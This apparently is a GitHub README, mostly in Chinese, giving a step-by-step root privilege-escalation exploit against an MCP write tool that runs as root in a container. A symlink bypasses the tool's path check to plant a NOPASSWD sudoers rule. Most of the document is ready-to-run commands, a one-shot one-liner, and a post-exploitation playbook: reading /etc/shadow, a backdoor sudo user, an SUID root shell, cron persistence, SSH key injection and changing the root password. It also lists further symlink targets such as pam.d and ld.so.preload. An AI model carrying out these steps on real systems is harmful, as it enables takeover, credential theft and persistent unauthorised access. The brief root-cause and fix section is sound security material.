Anitaarista/container-root-escalation
GitHub: Anitaarista/container-root-escalation
用于容器环境中权限提升漏洞的模拟和验证工具。
Stars: 0 | Forks: 0
# 🔓 容器根权限提升 — MCP 写工具符号链接绕过
## 前置条件
- 容器运行带有 MCP 服务(FastMCP)在 `localhost:12600`
- MCP 写工具可用且以 root 用户运行
- 用户 `z` 可以创建符号链接
- 不需要 sudo、密码或额外工具
## 第 1 步 — 验证初始位置
运行以下所有命令以确认您处于普通用户位置,没有 root 权限:
```
id && echo "---" && sudo -l 2>&1 && echo "---" && whoami
```
**预期输出:**
```
uid=1001(z) gid=1001(z) groups=1001(z)
---
Sorry, user z may not run sudo on ...
---
z
```
这意味着:您是普通用户,没有 sudo 权限。
## 第 2 步 — 确认 MCP 服务以 root 运行
```
ps aux | grep "python.*main.py" | grep -v grep
```
**预期输出:**
```
root 618 ... /app/.venv/bin/python3 main.py
```
请确保用户列显示 **root**。这是我们将要利用的服务。
## 第 3 步 — 创建符号链接绕过
从用户 `z` 的家目录创建一个符号链接到 `/etc/sudoers.d/`。这会绕过 MCP 写工具上的路径验证,因为路径始终看起来是从 `/home/z/` 开始的:
```
ln -sf /etc/sudoers.d /home/z/sudoers-link
```
验证符号链接确实指向目标:
```
readlink /home/z/sudoers-link
```
**预期输出:**
```
/etc/sudoers.d
```
## 第 4 步 — 以 root 用户写入 sudoers 规则
通过 HTTP 调用 MCP 写工具。该工具以 root 用户写入文件,并且由于符号链接,文件将写入 `/etc/sudoers.d/z-nopasswd`,尽管输入路径看起来是在 `/home/z/` 之下:
```
curl -s -X POST http://localhost:12600/mcp \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "Write",
"arguments": {
"filepath": "/home/z/sudoers-link/z-nopasswd",
"content": "z ALL=(ALL) NOPASSWD: ALL"
}
},
"id": 1
}'
```
**预期输出:**
```
{"jsonrpc":"2.0","id":1,"result":{"content":[],"isError":false}}
```
`isError: false` 表示文件已成功写入。
## 第 5 步 — 验证 sudoers 文件已创建
```
cat /etc/sudoers.d/z-nopasswd && echo "---" && stat /etc/sudoers.d/z-nopasswd
```
**预期输出:**
```
z ALL=(ALL) NOPASSWD: ALL
---
File: /etc/sudoers.d/z-nopasswd
Size: 25
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
```
确认:文件属于 **root:root** 并包含 sudoers 规则。
## 第 6 步 — 以 root 用户执行命令
```
sudo id
```
**预期输出:**
```
uid=0(root) gid=0(root) groups=0(root)
```
🎯 **成功获得 root 权限!**
## 第 7 步 — 完整验证 root 权限
运行以下所有命令以证明完整的 root 权限:
```
echo "=== Sudo Permission ===" && \
sudo -l 2>&1 | grep "NOPASSWD" && \
echo "" && \
echo "=== Root Identity ===" && \
sudo id && \
echo "" && \
echo "=== Baca /etc/shadow ===" && \
sudo cat /etc/shadow && \
echo "" && \
echo "=== Tulis ke /etc/ ===" && \
sudo bash -c 'echo "WRITTEN_BY_ROOT" > /etc/.root-write-test && cat /etc/.root-write-test && rm /etc/.root-write-test' && \
echo "" && \
echo "=== Akses /root/ ===" && \
sudo ls /root/ && \
echo "" && \
echo "=== Buat User Baru ===" && \
sudo useradd testuser 2>/dev/null; sudo grep testuser /etc/passwd; sudo userdel testuser 2>/dev/null && \
echo "" && \
echo "=== Install Paket ===" && \
sudo apt update -qq 2>/dev/null && echo "apt: BERHASIL"
```
## 一行命令 — 一次性运行所有步骤
如果您想一次性运行整个利用过程:
```
ln -sf /etc/sudoers.d /home/z/sudoers-link && curl -s -X POST http://localhost:12600/mcp -H "Content-Type: application/json" -H "Accept: application/json, text/event-stream" -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"Write","arguments":{"filepath":"/home/z/sudoers-link/z-nopasswd","content":"z ALL=(ALL) NOPASSWD: ALL"}},"id":1}' && sudo id
```
**预期输出:**
```
uid=0(root) gid=0(root) groups=0(root)
```
## 利用后操作 — 获得root后可以做什么
### 读取所有敏感文件
```
sudo cat /etc/shadow
sudo cat /etc/.z-ai-config
sudo ls -la /root/
sudo ls -la /app/
```
### 安装任何包
```
sudo apt update
sudo apt install -y docker.io nmap net-tools
```
### 以 root 权限创建新用户
```
sudo useradd -m -s /bin/bash hacker
sudo bash -c 'echo "hacker:hacker123" | chpasswd'
sudo bash -c 'echo "hacker ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/hacker'
```
### 创建 SUID root shell
```
sudo bash -c 'cp /bin/bash /tmp/root-shell && chmod 4755 /tmp/root-shell'
/tmp/root-shell -p -c 'id'
# uid=0(root) gid=0(root)
```
### 创建持久性 cron job
```
sudo bash -c 'echo "* * * * * root /tmp/root-shell -p -c \"id > /tmp/cron-proof.txt\"" > /etc/cron.d/persist'
```
### 将 SSH key 写入 root
```
sudo mkdir -p /root/.ssh
sudo bash -c 'echo "ssh-rsa AAAA... user@host" >> /root/.ssh/authorized_keys'
sudo chmod 700 /root/.ssh
sudo chmod 600 /root/.ssh/authorized_keys
```
### 终止任何进程
```
sudo kill -9
```
### 更改 root 密码
```
sudo bash -c 'echo "root:newpassword" | chpasswd'
```
### 写入到任何文件系统
```
sudo bash -c 'echo "content" > /etc/any-file'
sudo bash -c 'echo "content" > /var/log/fake-log'
```
## 内核能力审计
成为 root 后,运行此审计以了解容器的限制:
```
sudo python3 -c "
caps_hex = open('/proc/self/status').read().split('CapEff:')[1].split()[0]
caps = int(caps_hex, 16)
cap_names = {
0:'CAP_CHOWN', 1:'CAP_DAC_OVERRIDE', 2:'CAP_DAC_READ_SEARCH',
3:'CAP_FOWNER', 4:'CAP_FSETID', 5:'CAP_KILL',
6:'CAP_SETGID', 7:'CAP_SETUID', 8:'CAP_SETPCAP',
9:'CAP_LINUX_IMMUTABLE', 10:'CAP_NET_BIND_SERVICE',
12:'CAP_NET_RAW', 13:'CAP_IPC_LOCK', 14:'CAP_IPC_OWNER',
15:'CAP_SYS_MODULE', 16:'CAP_SYS_RAWIO', 17:'CAP_SYS_CHROOT',
18:'CAP_SYS_PTRACE', 19:'CAP_SYS_PACCT', 20:'CAP_SYS_ADMIN',
21:'CAP_SYS_BOOT', 22:'CAP_SYS_NICE', 23:'CAP_SYS_RESOURCE',
24:'CAP_SYS_TIME', 25:'CAP_SYS_TTY_CONFIG', 27:'CAP_MKNOD',
28:'CAP_LEASE', 29:'CAP_AUDIT_WRITE', 30:'CAP_AUDIT_CONTROL',
31:'CAP_SETFCAP', 32:'CAP_MAC_OVERRIDE', 33:'CAP_MAC_ADMIN',
34:'CAP_SYSLOG', 35:'CAP_WAKE_ALARM', 36:'CAP_CAP_BLOCK_SUSPEND',
37:'CAP_AUDIT_READ',
}
print('CAPABILITIES YANG DIMILIKI:')
for bit, name in sorted(cap_names.items()):
if caps & (1 << bit):
print(f' ✅ {name}')
print()
print('CAPABILITIES YANG TIDAK DIMILIKI:')
for bit, name in sorted(cap_names.items()):
if not (caps & (1 << bit)):
print(f' ❌ {name}')
"
```
### 作为 root 可以做什么
| 能力 | 命令示例 |
|------|----------------|
| 读取所有文件 | `sudo cat /etc/shadow` |
| 写入到 /etc/ | `sudo bash -c 'echo "x" > /etc/file'` |
| 安装/删除包 | `sudo apt install ` |
| 创建/删除用户 | `sudo useradd ` |
| 更改密码 | `sudo bash -c 'echo "root:pass" \| chpasswd'` |
| 创建 SUID 二进制文件 | `sudo chmod 4755 /tmp/shell` |
| 终止任何进程 | `sudo kill -9 ` |
| 跟踪其他进程 | CAP_SYS_PTRACE |
| 访问 /root/ 和 /app/ | `sudo ls /root/` |
| 创建 cron job | `sudo bash -c 'echo "..." > /etc/cron.d/x'` |
### 不能做(容器限制)
| 能力 | 原因 |
|------|--------|
| 挂载文件系统 | 没有CAP_SYS_ADMIN |
| 加载内核模块 | 没有CAP_SYS_MODULE |
| 重启/关机 | 没有CAP_SYS_BOOT |
| 网络嗅探 | 没有CAP_NET_RAW |
| chroot | 没有CAP_SYS_CHROOT |
| 创建网络设备 | 没有CAP_NET_ADMIN |
| 运行 Docker daemon | 没有overlay2 + iptables |
| 写入到 /proc/sys | 文件系统只读 |
## 漏洞工作原理
```
┌─────────────────────────────────────────────────────────────┐
│ ATTACK FLOW │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. MCP Service berjalan sebagai ROOT (PID 618) │
│ ↓ │
│ 2. MCP Write tool menulis file sebagai root │
│ ↓ │
│ 3. Validasi path: filepath.startsWith("/home/z") → PASS │
│ ↓ │
│ 4. Symlink: /home/z/sudoers-link → /etc/sudoers.d/ │
│ Path: /home/z/sudoers-link/z-nopasswd │
│ Resolved: /etc/sudoers.d/z-nopasswd │
│ ↓ │
│ 5. Write tool follows symlink, menulis sebagai root │
│ File: /etc/sudoers.d/z-nopasswd (root:root) │
│ Content: "z ALL=(ALL) NOPASSWD: ALL" │
│ ↓ │
│ 6. sudoers rule aktif → sudo id → uid=0(root) ✅ │
│ │
│ BUG: os.path.realpath() TIDAK dipanggil sebelum │
│ validasi path, sehingga symlink tidak terdeteksi │
│ │
└─────────────────────────────────────────────────────────────┘
```
### 根原因
```
# KODE VULNERABLE (dalam MCP service):
def check_write_path_in_home(filepath):
return filepath.startswith("/home/z") # ← String check, tanpa realpath()
# KODE YANG AMAN:
def check_write_path_in_home(filepath):
real_path = os.path.realpath(filepath) # ← Resolve symlink dulu
home_dir = os.path.realpath("/home/z")
return real_path.startswith(home_dir)
```
### 其他可能的攻击向量
此符号链接绕过可以用于将文件写入任何位置,而不仅仅是 sudoers:
```
# Tulis ke /etc/ld.so.preload (shared library hijacking)
ln -sf /etc /home/z/etc-link
# Tulis ke /etc/cron.d/ (scheduled task)
ln -sf /etc/cron.d /home/z/cron-link
# Tulis ke /etc/systemd/system/ (service persistence)
ln -sf /etc/systemd/system /home/z/systemd-link
# Tulis ke /root/.ssh/ (SSH key injection)
ln -sf /root/.ssh /home/z/ssh-link
# Tulis ke /etc/pam.d/ (authentication bypass)
ln -sf /etc/pam.d /home/z/pam-link
```
## 利用时间线
| 步骤 | 操作 | 持续时间 |
|------|------|--------|
| 1 | 验证初始位置 | 10 秒 |
| 2 | 确认 MCP 服务 root | 10 秒 |
| 3 | 创建符号链接 | 5 秒 |
| 4 | 通过 MCP 写入 sudoers | 10 秒 |
| 5 | 验证文件 | 5 秒 |
| 6 | `sudo id` → root | 5 秒 |
| **总计** | | **<1 分钟** |
## 参考资料
- [CWE-59:在文件访问之前不当解析链接](https://cwe.mitre.org/data/definitions/59.html)
- [CWE-269:不当权限管理](https://cwe.mitre.org/data/definitions/269.html)
- [OWASP:路径遍历](https://owasp.org/www-community/attacks/Path_Traversal)
- [FastMCP](https://github.com/jlowin/fastmcp)
- [模型上下文协议规范](https://spec.modelcontextprotocol.io/)
- [Linux 能力](https://man7.org/linux/man-pages/man7/capabilities.7.html)
标签:请求拦截, 逆向工具